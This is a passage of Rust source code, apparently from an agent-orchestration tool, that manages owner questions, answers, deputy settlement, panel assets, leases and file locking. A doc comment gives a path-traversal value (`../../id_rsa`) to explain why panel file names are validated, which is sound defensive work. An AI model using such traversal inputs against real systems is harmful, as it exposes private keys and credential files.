872                "alias mismatch with offered choices: `{reply}` is not an offered label or supported action alias; exact labels: {}; inspect `magi answer --list`, copy the intended offered label verbatim into --reply, and retry once (action descriptions and bracketed annotations are not reply values)",
873                serde_json::to_string(&self.choices).expect("serialize labels")
874            ),
875            _ => bail!(
876                "ambiguous action alias: `{reply}` matches multiple choices; select the intended offered label"
877            ),
878        }
879    }
880
881    /// Record an answer. Rejects a choice the question does not offer, free
882    /// text on a multiple-choice question, an empty answer, and a second
883    /// answer.
884    ///
885    /// Every rejection here is a case where accepting would put a fabrication
886    /// in front of an agent as if the owner had said it. The messages are
887    /// distinct because the caller is a web handler that shows them verbatim,
888    /// and "that is not one of the choices" and "this question is multiple
889    /// choice" are different mistakes with different fixes.
890    pub fn answer(&mut self, answer: Answer) -> Result<()> {
891        self.answer_inner(answer)
892    }
893
894    /// Optional chat buttons validate the displayed conversation and PR head.
895    pub(crate) fn answer_chat_button(
896        &mut self,
897        answer: Answer,
898        talk: &str,
899        head: &str,
900    ) -> Result<()> {
901        anyhow::ensure!(
902            self.routed_chat.as_deref() == Some(talk),
903            "wrong approval chat"
904        );
905        anyhow::ensure!(
906            self.merge_target.as_ref().is_some_and(|t| t.head == head),
907            "stale approval head"
908        );
909        self.answer_inner(answer)
910    }
911
912    fn answer_inner(&mut self, answer: Answer) -> Result<()> {
913        match self.status {
914            QuestionStatus::Answered => bail!(
915                "question {} was already answered; the run has moved on and a \
916                 second answer would be a decision nobody acted on",
917                self.short()
918            ),
919            QuestionStatus::Abandoned => bail!(
920                "question {} was abandoned and the run behind it is gone",
921                self.short()
922            ),
923            QuestionStatus::Open => {}
924        }
925        let body = match &answer {
926            Answer::Choice(c) | Answer::Text(c) => c.as_str(),
927        };
928        if body.trim().is_empty() {
929            bail!(
930                "question {} needs an answer; an empty one tells the agent \
931                 nothing and it would guess anyway",
932                self.short()
933            );
934        }
935        match &answer {
936            Answer::Choice(c) if self.free_text() => bail!(
937                "question {} asks for free text, so `{c}` cannot be a choice \
938                 it offered",
939                self.short()
940            ),
941            Answer::Choice(c) if !self.choices.iter().any(|o| o == c) => bail!(
942                "`{c}` is not one of the choices question {} offers: {}",
943                self.short(),
944                self.choices.join(", ")
945            ),
946            Answer::Text(_) if !self.free_text() => bail!(
947                "question {} is multiple choice; answer with one of: {}",
948                self.short(),
949                self.choices.join(", ")
950            ),
951            _ => {}
952        }
953        // `hold` is the safe word: it may carry the hold effect itself, but a
954        // producer that put any other effect behind it made a mistake.
955        if body.eq_ignore_ascii_case(crate::land::HOLD)
956            && self
957                .actions
958                .get(body)
959                .is_some_and(|a| *a != ChoiceAction::Hold)
960        {
961            bail!("hold cannot execute a question action");
962        }
963        self.answered_at = Some(Timestamp::now());
964        self.answer = Some(answer);
965        self.status = QuestionStatus::Answered;
966        Ok(())
967    }
968
969    /// Give up on an answer, keeping the record of what was asked.
970    ///
971    /// An answered question is left alone, which matters at exactly one moment:
972    /// the owner answering in the same second the wait's deadline passes. The
973    /// answer is the thing worth keeping there, and it has already been written
974    /// by another process.
975    ///
976    /// The reason is appended to [`Question::detail`] because the on-disk shape
977    /// is a contract with the front end and has no field of its own for it -
978    /// and "asked at 3am, nobody home for a day" belongs with the question, not
979    /// only in a log the operator will never open.
980    pub fn abandon(&mut self, why: impl Into<String>) {
981        if !self.status.open() {
982            return;
983        }
984        self.status = QuestionStatus::Abandoned;
985        let why = why.into();
986        let why = why.trim();
987        if why.is_empty() {
988            return;
989        }
990        if !self.detail.is_empty() {
991            self.detail.push('\n');
992        }
993        self.detail.push_str("\n_Abandoned: ");
994        self.detail.push_str(why);
995        self.detail.push_str("._\n");
996    }
997
998    /// The answer as the asking agent should read it.
999    ///
1000    /// One string for both kinds of question: the agent's prompt says "the
1001    /// owner answered:", and a chosen option and a typed sentence are the same
1002    /// thing at that point. `None` while the question is open or abandoned, so
1003    /// a caller cannot mistake silence for a decision.
1004    pub fn resolution(&self) -> Option<String> {
1005        match (self.status, &self.answer) {
1006            (QuestionStatus::Answered, Some(Answer::Choice(a) | Answer::Text(a))) => {
1007                Some(a.clone())
1008            }
1009            _ => None,
1010        }
1011    }
1012
1013    /// A deputy recording the owner's decision, read from the owner's words.
1014    ///
1015    /// The owner decided in free text ("setup done", "merge it") on a
1016    /// question that offers choices, so no choice was ever tapped. This
1017    /// records `label` as the answer - and nothing else: applying it is the
1018    /// daemon's or component's existing path for an answered question. The
1019    /// deputy's reading of the owner's words is the authority; no quote is
1020    /// needed. Refused only when the question is routed to a task chat (that
1021    /// chat settles it), the caller is not this question's deputy seat,
1022    /// `label` is not an offered choice, or the question is no longer open.
1023    /// `note` is the deputy's optional explanation, kept with the record.
1024    pub fn settle_by_deputy(&mut self, seat: &str, label: &str, note: Option<&str>) -> Result<()> {
1025        if self.routed_task.is_some() {
1026            bail!("task decisions are handled by the task chat, not a deputy");
1027        }
1028        let Some(deputy) = &self.deputy else {
1029            bail!("question {} has no deputy", self.short());
1030        };
1031        let own = deputy.seat.as_ref().map(|s| s.key.as_str());
1032        if own != Some(seat) {
1033            bail!("only the deputy of question {} may settle it", self.short());
1034        }
1035        if !self.choices.iter().any(|c| c == label) {
1036            bail!(
1037                "`{label}` is not one of the choices offered on question {}",
1038                self.short()
1039            );
1040        }
1041        self.answer(Answer::Choice(label.to_owned()))?;
1042        self.thread.push(Turn {
1043            who: Who::Agent,
1044            body: format!("Settled as `{label}` on the owner's words."),
1045            at: Timestamp::now(),
1046            note: note
1047                .map(str::trim)
1048                .filter(|n| !n.is_empty())
1049                .map(str::to_owned),
1050        });
1051        self.delivered_turns = self.thread.len();
1052        Ok(())
1053    }
1054
1055    /// The owner speaking back without answering: a request for context, a
1056    /// clarifying question, anything short of a decision.
1057    ///
1058    /// Rejects the same two states [`Question::answer`] does, and for the same
1059    /// reason - a question with a recorded [`Answer`] or an abandoned one has
1060    /// no run left listening for a reply - and an empty turn, which would tell
1061    /// the agent nothing it didn't already know. Never changes `status`: the
1062    /// question stays [`QuestionStatus::Open`], because the owner did not
1063    /// decide anything, they only spoke, and `count_open`/`open_for` must keep
1064    /// counting this as the one question it always was.
1065    pub fn say(&mut self, body: impl Into<String>) -> Result<()> {
1066        match self.status {
1067            QuestionStatus::Answered => bail!(
1068                "question {} was already answered; there is nothing left to \
1069                 discuss",
1070                self.short()
1071            ),
1072            QuestionStatus::Abandoned => bail!(
1073                "question {} was abandoned and the run behind it is gone",
1074                self.short()
1075            ),
1076            QuestionStatus::Open => {}
1077        }
1078        let body = body.into();
1079        if body.trim().is_empty() {
1080            bail!("a message to question {} cannot be empty", self.short());
1081        }
1082        self.thread.push(Turn {
1083            who: Who::Operator,
1084            body,
1085            at: Timestamp::now(),
1086            note: None,
1087        });
1088        Ok(())
1089    }
1090
1091    /// The agent replying to the owner's last word, in place of an answer:
1092    /// same question, same id, another round.
1093    ///
1094    /// `choices` replaces [`Question::choices`] wholesale rather than merging,
1095    /// on the same reasoning [`Questions::put_panel`] replaces a panel
1096    /// wholesale: the whole point of asking back is that what should be
1097    /// offered next may have changed, and a caller that wanted the old set
1098    /// unchanged can simply pass it again. An empty `Vec` means free text,
1099    /// exactly as it does when the question is first asked.
1100    pub fn reply(&mut self, body: impl Into<String>, choices: Vec<String>) -> Result<()> {
1101        match self.status {
1102            QuestionStatus::Answered => bail!(
1103                "question {} was already answered; replying now would not \
1104                 reach anyone",
1105                self.short()
1106            ),
1107            QuestionStatus::Abandoned => bail!(
1108                "question {} was abandoned and the run behind it is gone",
1109                self.short()
1110            ),
1111            QuestionStatus::Open => {}
1112        }
1113        let body = body.into();
1114        if body.trim().is_empty() {
1115            bail!("a reply to question {} cannot be empty", self.short());
1116        }
1117        // An action whose label is no longer offered could never fire.
1118        self.actions.retain(|label, _| choices.contains(label));
1119        self.choices = choices;
1120        let unread = self.unread_from_owner().is_some();
1121        self.thread.push(Turn {
1122            who: Who::Agent,
1123            body,
1124            at: Timestamp::now(),
1125            note: None,
1126        });
1127        // The agent has read everything up to its own reply - but only if
1128        // nothing the owner said in the meantime is still unread. A second say
1129        // that landed after the agent's last look must stay undelivered.
1130        if !unread {
1131            self.delivered_turns = self.thread.len();
1132        }
1133        Ok(())
1134    }
1135
1136    /// What the owner said that the agent has not read yet, oldest first,
1137    /// joined. `None` unless the question is open and such a turn exists.
1138    ///
1139    /// Not [`Question::waiting_on_agent`]: an agent's reply can land *after* a
1140    /// second owner turn it never saw, which leaves the last turn the agent's
1141    /// and the ball apparently back with the owner while a say is still unread.
1142    pub fn unread_from_owner(&self) -> Option<String> {
1143        if !self.status.open() {
1144            return None;
1145        }
1146        let said = self.undelivered_owner_turns();
1147        (!said.is_empty()).then(|| said.join("\n\n"))
1148    }
1149
1150    /// Owner turns the agent has not been handed yet, oldest first, whatever
1151    /// the question's status. [`Question::unread_from_owner`] adds the "still
1152    /// open" guard the waiter and the deputy rely on; an answer being handed
1153    /// over needs the says that came before it even though the question is
1154    /// closed by then.
1155    pub fn undelivered_owner_turns(&self) -> Vec<&str> {
1156        let from = self.delivered_turns.min(self.thread.len());
1157        self.thread[from..]
1158            .iter()
1159            .filter(|t| t.who == Who::Operator)
1160            .map(|t| t.body.as_str())
1161            .collect()
1162    }
1163
1164    /// When the conversation last moved: the newest thread turn, or the asking
1165    /// itself, in seconds. `magi ask --thread` re-arms `answer_timeout` on
1166    /// every reply, so a deadline runs from here and not from `asked_at`.
1167    pub fn last_activity(&self) -> i64 {
1168        self.thread
1169            .iter()
1170            .map(|t| t.at.as_second())
1171            .max()
1172            .unwrap_or(0)
1173            .max(self.asked_at.as_second())
1174    }
1175
1176    /// Is the ball in the agent's court?
1177    ///
1178    /// True from the moment the owner speaks back until the agent's next
1179    /// [`Question::reply`], and never on a fresh or an already-settled
1180    /// question. [`QuestionStatus`] does not move for either side of this -
1181    /// see [`Question::say`] - so this is the one place that state is
1182    /// readable at all, which is why [`crate::web::QuestionView`] carries it
1183    /// separately rather than asking the phone to infer it from the thread.
1184    pub fn waiting_on_agent(&self) -> bool {
1185        self.status.open() && matches!(self.thread.last(), Some(t) if t.who == Who::Operator)
1186    }
1187
1188    /// Should a notification go out right now?
1189    ///
1190    /// Always, for the very first ask: [`Question::thread`] is still empty, so
1191    /// there is no earlier operator turn to have already caught anyone's
1192    /// attention. After that, only once [`REPLY_QUIET_WINDOW`] has passed
1193    /// since the owner's own last word - see that constant for why the window
1194    /// exists at all and why its length is not configurable.
1195    fn should_notify(&self, now: Timestamp) -> bool {
1196        let Some(last) = self
1197            .thread
1198            .iter()
1199            .rev()
1200            .find(|t| t.who == Who::Operator)
1201            .map(|t| t.at)
1202        else {
1203            return true;
1204        };
1205        now.as_second() - last.as_second() > REPLY_QUIET_WINDOW.as_secs() as i64
1206    }
1207}
1208
1209/// A question store on disk.
1210#[derive(Debug, Clone)]
1211pub struct Questions {
1212    root: PathBuf,
1213}
1214
1215impl Questions {
1216    /// The operator's questions, `<home>/questions`.
1217    pub fn open() -> Self {
1218        Self::at(crate::run::home().join("questions"))
1219    }
1220
1221    /// A store at an explicit root. Tests use this, which is why none of them
1222    /// need the operator's real home.
1223    pub fn at(root: PathBuf) -> Self {
1224        Self { root }
1225    }
1226
1227    /// Directory holding the question files.
1228    pub fn root(&self) -> &Path {
1229        &self.root
1230    }
1231
1232    /// Path for one question id.
1233    pub fn path_of(&self, id: &str) -> PathBuf {
1234        self.root.join(format!("{id}.json"))
1235    }
1236
1237    /// Directory holding one question's panel, `<root>/<id>.panel`.
1238    pub fn panel_dir(&self, id: &str) -> PathBuf {
1239        self.root.join(format!("{id}{PANEL_DIR}"))
1240    }
1241
1242    /// Store a panel: the html, plus `assets` copied in under their base
1243    /// names. Updates `q.panel` and `q.assets`; the caller then [`put`]s the
1244    /// question, or the record on disk will deny having a panel that exists.
1245    ///
1246    /// The assets are **copied, not referenced**. An agent authors its panel
1247    /// inside a candidate worktree and points at files there, and `magi fold`
1248    /// deletes those worktrees; a question is the permanent record of a
1249    /// decision the owner took, so a panel that referenced its own images
1250    /// would render as broken boxes exactly when someone went back to ask why
1251    /// the decision was made. Copying follows symlinks - [`std::fs::copy`]
1252    /// does, and so does the [`std::fs::metadata`] the size is measured with,
1253    /// so the bytes counted and the bytes written are the same target file's -
1254    /// which is the intent: storing a link would leave the panel pointing at
1255    /// the worktree again, one indirection further away.
1256    ///
1257    /// Everything that can be rejected is rejected before the first byte is
1258    /// written, and the panel is then assembled in a scratch directory and
1259    /// swapped in. So a refusal leaves the previous panel intact, and a
1260    /// success replaces it *wholesale* rather than merging: a re-asked
1261    /// question showing one attempt's diff next to another attempt's table
1262    /// would be a panel neither agent ever wrote.
1263    ///
1264    /// [`put`]: Questions::put
1265    pub fn put_panel(&self, q: &mut Question, html: &str, assets: &[PathBuf]) -> Result<()> {
1266        if !valid_asset_name(&q.id) {
1267            bail!(
1268                "question id `{}` is not a name magi will build a panel path from",
1269                q.id
1270            );
1271        }
1272        if html.trim().is_empty() {
1273            bail!(
1274                "question {} was handed an empty panel; an empty frame reads to \
1275                 the owner as \"the agent had nothing to say\", which is a lie",
1276                q.short()
1277            );
1278        }
1279
1280        // Names, then sizes, then writing - in that order, so nothing below
1281        // can leave a partial panel on disk.
1282        let mut named: Vec<(String, &Path)> = Vec::with_capacity(assets.len());
1283        for src in assets {
1284            let name = src.file_name().and_then(|n| n.to_str()).unwrap_or_default();
1285            if !valid_asset_name(name) {
1286                bail!(
1287                    "panel asset `{}` cannot be stored: a panel file name must \
1288                     match ^[A-Za-z0-9][A-Za-z0-9._-]{{0,63}}$ and contain no `..`",
1289                    src.display()
1290                );
1291            }
1292            if let Some((_, first)) = named.iter().find(|(n, _)| n == name) {
1293                bail!(
1294                    "two panel assets are both named `{name}` - {} and {} - and \
1295                     the panel can only show one of them; rename one at the source",
1296                    first.display(),
1297                    src.display()
1298                );
1299            }
1300            named.push((name.to_owned(), src.as_path()));
1301        }
1302
1303        let mut total = html.len() as u64;
1304        for (_, src) in &named {
1305            let meta = std::fs::metadata(src)
1306                .with_context(|| format!("stat panel asset {}", src.display()))?;
1307            if !meta.is_file() {
1308                bail!(
1309                    "panel asset `{}` is not a file; a panel is html plus files \
1310                     copied beside it",
1311                    src.display()
1312                );
1313            }
1314            total = total.saturating_add(meta.len());
1315        }
1316        if total > PANEL_MAX_BYTES {
1317            bail!(
1318                "panel for question {} is {total} bytes, over magi's cap of \
1319                 {PANEL_MAX_BYTES} bytes; nothing was written",
1320                q.short()
1321            );
1322        }
1323
1324        let tmp = self.root.join(format!("{}{PANEL_TMP}", q.id));
1325        let dir = self.panel_dir(&q.id);
1326        std::fs::create_dir_all(&self.root)
1327            .with_context(|| format!("create {}", self.root.display()))?;
1328        clear_dir(&tmp)?;
1329        std::fs::create_dir(&tmp).with_context(|| format!("create {}", tmp.display()))?;
1330        if let Err(e) = fill_panel(&tmp, html, &named) {
1331            // A copy that dies halfway must not become the panel, and must not
1332            // leave scratch behind for the next call to inherit.
1333            let _ = std::fs::remove_dir_all(&tmp);
1334            return Err(e);
1335        }
1336        clear_dir(&dir)?;
1337        std::fs::rename(&tmp, &dir)
1338            .with_context(|| format!("move panel into {}", dir.display()))?;
1339
1340        q.panel = true;
1341        q.assets = named.into_iter().map(|(n, _)| n).collect();
1342        q.assets.sort_unstable();
1343        Ok(())
1344    }
1345
1346    /// The panel's html, or `None` when the question has no panel.
1347    ///
1348    /// `None` rather than an error for a missing panel because the caller is a
1349    /// web handler whose answer is 404 either way, and an unreadable panel is
1350    /// not a reason to fail the question it belongs to.
1351    pub fn panel_html(&self, id: &str) -> Option<String> {
1352        if !valid_asset_name(id) {
1353            return None;
1354        }
1355        std::fs::read_to_string(self.panel_dir(id).join(PANEL_HTML)).ok()
1356    }
1357
1358    /// One file from a panel. `Ok(None)` is "no such file"; `Err` is "that is
1359    /// not a name a panel file can have".
1360    ///
1361    /// Rejects a name failing [`valid_asset_name`] **before touching the
1362    /// filesystem**, which is the whole point of the second check: the name
1363    /// arrives from a URL, the directory is on disk where any process could
1364    /// have dropped a file, and `<root>/<id>.panel/../../id_rsa` is a path the
1365    /// operating system would resolve perfectly happily. The two callers'
1366    /// distinct outcomes - 400 for a name, 404 for a file - are why this is
1367    /// `Result<Option<_>>` rather than one flattened `Option`.
1368    pub fn panel_asset(&self, id: &str, name: &str) -> Result<Option<Vec<u8>>> {
1369        if !valid_asset_name(name) {
1370            bail!(
1371                "`{name}` is not a panel file name; it must match \
1372                 ^[A-Za-z0-9][A-Za-z0-9._-]{{0,63}}$ and contain no `..`"
1373            );
1374        }
1375        if !valid_asset_name(id) {
1376            return Ok(None);
1377        }
1378        let dir = self.panel_dir(id);
1379        if !dir.is_dir() {
1380            return Ok(None);
1381        }
1382        let path = dir.join(name);
1383        match std::fs::read(&path) {
1384            Ok(bytes) => Ok(Some(bytes)),
1385            Err(e) if e.kind() == std::io::ErrorKind::NotFound => Ok(None),
1386            Err(e) => Err(e).with_context(|| format!("read {}", path.display())),
1387        }
1388    }
1389
1390    /// Delete a question's panel, and any scratch a killed [`put_panel`] left.
1391    ///
1392    /// Succeeds when there is nothing to delete, so a caller cleaning up does
1393    /// not have to know whether a panel was ever written. The question record
1394    /// is not touched: the caller clears `panel` and `assets` and `put`s it,
1395    /// in the same order as everywhere else here.
1396    ///
1397    /// [`put_panel`]: Questions::put_panel
1398    pub fn drop_panel(&self, id: &str) -> Result<()> {
1399        if !valid_asset_name(id) {
1400            bail!("question id `{id}` is not a name magi will build a panel path from");
1401        }
1402        clear_dir(&self.panel_dir(id))?;
1403        clear_dir(&self.root.join(format!("{id}{PANEL_TMP}")))
1404    }
1405
1406    /// Path of the lease sidecar for one question id.
1407    pub fn lease_path(&self, id: &str) -> PathBuf {
1408        self.root.join(format!("{id}.lease"))
1409    }
1410
1411    /// The lease on a question, if a readable one exists.
1412    pub fn read_lease(&self, id: &str) -> Option<Lease> {
1413        let body = std::fs::read_to_string(self.lease_path(id)).ok()?;
1414        serde_json::from_str(&body).ok()
1415    }
1416
1417    /// Say, as `kind`, that something is alive and waiting on this question.
1418    ///
1419    /// Best-effort: a beat that cannot be written is a `tracing::debug`, never
1420    /// a reason to abandon a wait - the worst it costs is the waiter deciding
1421    /// the holder is gone a little early, and that is what the delivery guard
1422    /// (the seat still being busy) is there for.
1423    pub fn beat(&self, id: &str, kind: WaiterKind) {
1424        let lease = Lease {
1425            kind,
1426            pid: std::process::id(),
1427            beat_at: Timestamp::now(),
1428        };
1429        let path = self.lease_path(id);
1430        let tmp = path.with_extension("lease.tmp");
1431        let written = std::fs::create_dir_all(&self.root)
1432            .and_then(|()| std::fs::write(&tmp, serde_json::to_string(&lease).unwrap_or_default()))
1433            .and_then(|()| std::fs::rename(&tmp, &path));
1434        if let Err(e) = written {
1435            tracing::debug!("could not beat the lease on question {id}: {e}");
1436        }
1437    }
1438
1439    /// Remove the lease sidecar. Absent is fine.
1440    pub fn drop_lease(&self, id: &str) {
1441        let _ = std::fs::remove_file(self.lease_path(id));
1442    }
1443
1444    /// Read-modify-write one question under a short exclusive lock, so the
1445    /// waiter's bookkeeping, the asker's and the phone's `say` cannot overwrite
1446    /// each other with a copy that predates the others.
1447    ///
1448    /// [`Questions::put`] is an atomic *replace*, which protects a reader from
1449    /// a torn file and does nothing for two writers that both read the same
1450    /// version first. Everything that changes a question that can still be
1451    /// answered goes through here: `f` sees the current record, not one loaded
1452    /// earlier. A lock older than [`LOCK_STALE`] belongs to a writer that died
1453    /// mid-update and is broken.
1454    pub fn update<T>(
1455        &self,
1456        id: &str,
1457        f: impl FnOnce(&mut Question) -> Result<T>,
1458    ) -> Result<(Question, T)> {
1459        std::fs::create_dir_all(&self.root)
1460            .with_context(|| format!("create {}", self.root.display()))?;
1461        let lock = self.root.join(format!("{id}.lock"));
1462        let started = std::time::Instant::now();
1463        let retry = crate::lock_file::Retry::new(Some(started + LOCK_STALE));
1464        loop {
1465            match retry.create(&lock) {
1466                Ok(_) => break,
1467                Err(e) if e.kind() == std::io::ErrorKind::AlreadyExists => {
1468                    let stale = std::fs::metadata(&lock)
1469                        .and_then(|m| m.modified())
1470                        .ok()
1471                        .and_then(|t| t.elapsed().ok())
1472                        .is_some_and(|age| age > LOCK_STALE);
1473                    if stale {
1474                        let _ = std::fs::remove_file(&lock);
1475                    } else if started.elapsed() > LOCK_STALE {
1476                        bail!("could not lock question {id}");
1477                    } else {
1478                        std::thread::sleep(Duration::from_millis(15));
1479                    }
1480                }
1481                Err(e) => return Err(e).with_context(|| format!("lock {}", lock.display())),
1482            }
1483        }
1484        struct Unlock(PathBuf);
1485        impl Drop for Unlock {
1486            fn drop(&mut self) {
1487                let _ = std::fs::remove_file(&self.0);
1488            }
1489        }
1490        let _guard = Unlock(lock);
1491        let mut q = read_path(&self.path_of(id))?;
1492        let effective_dismissal = |q: &Question| {
1493            q.resolution().as_deref() == Some(crate::merge_decision::DISMISS)
1494                && !self.root.parent().is_some_and(|home| {
1495                    crate::task_chat::saved_reply_requires_confirmation(home, q)
1496                })
1497        };
1498        let was_dismissed = effective_dismissal(&q);
1499        let prior_answer = (q.answered_at, q.resolution());
1500        let out = f(&mut q)?;
1501        if q.resolution().is_some() && prior_answer != (q.answered_at, q.resolution()) {
1502            let home = self.root.parent().context("question store has no home")?;
1503            q.accepted_answer_at = q.answered_at;
1504            crate::task_chat::accept_fresh_reply(home, &q)?;
1505        }
1506        if !was_dismissed && effective_dismissal(&q) {
1507            let home = self.root.parent().context("question store has no home")?;
1508            crate::merge_decision::dismiss(home, &q)?;
1509        }
1510        self.put(&mut q)?;
1511        Ok((q, out))
1512    }
1513
1514    /// File a component-owned question only when every choice has an effect.
1515    /// Legacy records remain readable; this is deliberately a creation check.
1516    pub fn put_executable(&self, q: &mut Question) -> Result<()> {
1517        anyhow::ensure!(
1518            q.actions.keys().all(|c| q.choices.contains(c)),
1519            "question action names an unoffered choice"
1520        );
1521        for label in &q.choices {
1522            anyhow::ensure!(
1523                crate::choice_effect::describe(q, label).is_some(),
1524                "question node {} offers an unsupported choice: {label}",
1525                q.node
1526            );
1527        }
1528        self.put(q)
1529    }
1530
1531    /// Write a question, atomically, so a process killed mid-write leaves the
1532    /// previous state readable rather than a truncated file that would strand
1533    /// the run waiting on it.
1534    pub fn put(&self, q: &mut Question) -> Result<()> {
1535        if q.status.open()
1536            && q.routed_task.is_none()
1537            && let Some(home) = self.root.parent()
1538        {
1539            let tasks = crate::queue::Queue::at(home.join("queue")).list();
1540            q.routed_task =
1541                crate::task_chat::task_of(q, &tasks).filter(|_| crate::task_chat::chat_routable(q));
1542        }
1543        std::fs::create_dir_all(&self.root)
1544            .with_context(|| format!("create {}", self.root.display()))?;
1545        let body = serde_json::to_string_pretty(q).context("serialize question")?;
1546        let path = self.path_of(&q.id);
1547        let tmp = path.with_extension("json.tmp");
1548        let is_new = !path.exists();
1549        std::fs::write(&tmp, &body).with_context(|| format!("write {}", tmp.display()))?;
1550        std::fs::rename(&tmp, &path).with_context(|| format!("replace {}", path.display()))?;
1551        // A first write of an open question pages the operator, so a separate
1552        // notification about the same task or run is now a second page.
1553        if is_new
1554            && q.status.open()
1555            && q.node != crate::bump::NOTICE_NODE
1556            && let Some(home) = self.root.parent().filter(|p| !p.as_os_str().is_empty())
1557        {
1558            crate::notices::quiet_for(home, q);
1559        }
1560        Ok(())
1561    }
1562
1563    /// Decode an exact saved record for migration without repair upgrades,
1564    /// routing writes, lease changes or any other operational side effect.
1565    pub(crate) fn read_history(&self, id: &str) -> Result<Question> {
1566        anyhow::ensure!(
1567            !id.is_empty() && !id.contains(['/', '\\']) && id != "." && id != "..",
1568            "invalid saved inquiry identity"
1569        );
1570        let q = read_path(&self.path_of(id))?;
1571        anyhow::ensure!(
1572            q.id == id,
1573            "saved inquiry identity does not match its filename"
1574        );
1575        Ok(q)
1576    }
1577
1578    /// Load a question by id or unambiguous id prefix.
1579    pub fn get(&self, id: &str) -> Result<Question> {
1580        let resolved = self.resolve_id(id)?;
1581        let q = read_path(&self.path_of(&resolved))?;
1582        Ok(self.consumption_view(self.with_repair_choice(q)))
1583    }
1584
1585    // Keep the source JSON intact for the passive history decoder. Every
1586    // operational reader sees an unanswered hold until a fresh owner answer
1587    // exists; neither delivery nor a saved legacy reply supplies that authority.
1588    fn consumption_view(&self, q: Question) -> Question {
1589        let migrated = self
1590            .root
1591            .parent()
1592            .is_some_and(|home| crate::task_chat::migrated_source(home, &q.id));
1593        self.consumption_view_in(q, migrated)
1594    }
1595
1596    fn consumption_view_in(&self, mut q: Question, migrated: bool) -> Question {
1597        if self.root.parent().is_some_and(|home| {
1598            crate::task_inquiry::Outbox::at(home)
1599                .get(&q.id)
1600                .is_ok_and(|record| {
1601                    record.decision.is_some_and(|d| {
1602                        d.legacy_settled && d.status == crate::task_decision::Status::Resolved
1603                    })
1604                })
1605        }) {
1606            // Keep the immutable source reply in read_history, while every
1607            // operational reader observes the owner's explicit settlement.
1608            q.answer = None;
1609            q.answered_at = None;
1610            q.answer_authority = None;
1611            q.status = QuestionStatus::Abandoned;
1612            return q;
1613        }
1614        if let Some(home) = self.root.parent()
1615            && migrated
1616            && !crate::task_chat::standalone_inquiry(home, &q)
1617            && crate::task_chat::source_reply_needs_confirmation(home, &q)
1618        {
1619            let saved = q.resolution().unwrap_or_default();
1620            q.detail.push_str(&format!(
1621                "\n\nSaved reply (history only; no new owner request): {saved}"
1622            ));
1623            q.answer = None;
1624            q.answered_at = None;
1625            q.answer_authority = None;
1626            q.status = if crate::task_inquiry::Outbox::at(home)
1627                .get(&q.id)
1628                .is_ok_and(|record| {
1629                    record.archived
1630                        || record
1631                            .decision
1632                            .is_some_and(|d| d.status == crate::task_decision::Status::Resolved)
1633                }) {
1634                QuestionStatus::Abandoned
1635            } else {
1636                QuestionStatus::Open
1637            };
1638        }
1639        q
1640    }
1641
1642    fn with_repair_choice(&self, mut q: Question) -> Question {
1643        // Older local release approvals already persisted their displayed head
1644        // in the watch record. Recover that binding, never today's forge head.
1645        if q.status.open()
1646            && q.merge_target.is_none()
1647            && let Some(home) = self.root.parent()
1648            && let Some(target) = crate::release_watch::approval_target(home, &q)
1649            && let Ok((current, ())) = self.update(&q.id, |current| {
1650                if current.status.open() && current.merge_target.is_none() {
1651                    current.merge_target = Some(target.clone());
1652                }
1653                Ok(())
1654            })
1655        {
1656            q = current;
1657        }
1658        if (q.status.open() || q.resolution().as_deref() == Some(crate::land::REPAIR))
1659            && q.node == crate::land::APPROVAL_NODE
1660            && let Some(home) = self.root.parent()
1661            && let Ok(state) = crate::run::RunState::load_under(&q.run, home)
1662        {
1663            let mut upgraded = q.clone();
1664            if crate::land::upgrade_repair_choice(&mut upgraded, &state) {
1665                match self.update(&q.id, |current| {
1666                    crate::land::upgrade_repair_choice(current, &state);
1667                    Ok(())
1668                }) {
1669                    Ok((current, ())) => return current,
1670                    Err(_) => return read_path(&self.path_of(&q.id)).unwrap_or(q),
1671                }
1672            }
1673        }
1674        q
1675    }
1676
1677    /// Every question on disk: open first, then newest first.
1678    ///
1679    /// Open first because that ordering is the product - the list exists to
1680    /// show the operator what has stopped, and an answered question is history
1681    /// underneath it. Unreadable files are skipped rather than fatal: one
1682    /// corrupt question must not take the web UI down, and must certainly not
1683    /// hide the open question the operator was looking for.
1684    pub fn list(&self) -> Vec<Question> {
1685        // Parse the immutable boundary once per scan, rather than once per file.
1686        let sources = self.root.parent().map(crate::task_chat::migration_sources);
1687        let mut all: Vec<Question> = std::fs::read_dir(&self.root)
1688            .into_iter()
1689            .flatten()
1690            .flatten()
1691            .map(|e| e.path())
1692            .filter(|p| p.extension().is_some_and(|x| x == "json"))
1693            .filter_map(|p| read_path(&p).ok())
1694            .map(|q| {
1695                let migrated = match &sources {
1696                    Some(Ok(Some(ids))) => ids.contains(&q.id),
1697                    Some(_) => true,
1698                    None => false,
1699                };
1700                self.consumption_view_in(self.with_repair_choice(q), migrated)
1701            })
1702            .collect();
1703        all.sort_unstable_by(|a, b| {
1704            let rank = |q: &Question| u8::from(!q.status.open());
1705            rank(a).cmp(&rank(b)).then_with(|| b.id.cmp(&a.id))
1706        });
1707        all
1708    }
1709
1710    /// Strict read-only snapshot for control transactions. Unlike the UI
1711    /// list, this neither upgrades question choices nor skips unreadable
1712    /// records that might contain an unresolved owner decision.
1713    pub(crate) fn snapshot(&self) -> Result<Vec<Question>> {
1714        let entries = match std::fs::read_dir(&self.root) {
1715            Ok(entries) => entries,
1716            Err(error) if error.kind() == std::io::ErrorKind::NotFound => return Ok(Vec::new()),
1717            Err(error) => return Err(error).context("inspect pending questions"),
1718        };
1719        let mut questions = Vec::new();
1720        for entry in entries {
1721            let path = entry?.path();
1722            if path.extension().is_some_and(|ext| ext == "json") {
1723                questions.push(read_path(&path)?);
1724            }
1725        }
1726        Ok(questions)
1727    }
1728
1729    /// Open questions belonging to one run, newest first.
1730    ///
1731    /// Used to decide whether a parked run can be resumed: while this is
1732    /// non-empty, nothing about the run has changed and no agent should be
1733    /// spawned for it.
1734    pub fn open_for(&self, run: &str) -> Vec<Question> {
1735        self.list()
1736            .into_iter()
1737            .filter(|q| q.status.open() && q.run == run)
1738            .collect()
1739    }
1740
1741    /// Abandon every open question belonging to a run, and report how many.
1742    ///
1743    /// Called when a run's record is deleted. The agent that asked died with
1744    /// the run, so there is nobody left to hand an answer to, and a question
1745    /// left open would keep asking the operator for a decision that can no
1746    /// longer be delivered - the phone showed exactly that: "auth.rs というファ
1747    /// イルが見つかりません" with two buttons, for a run whose directory had
1748    /// been gone for two hours.
1749    ///
1750    /// Abandoned rather than deleted, because [`Question::abandon`] already
1751    /// means "this can no longer be answered" and the record of having asked
1752    /// is worth keeping. Answered questions are left exactly as they are.
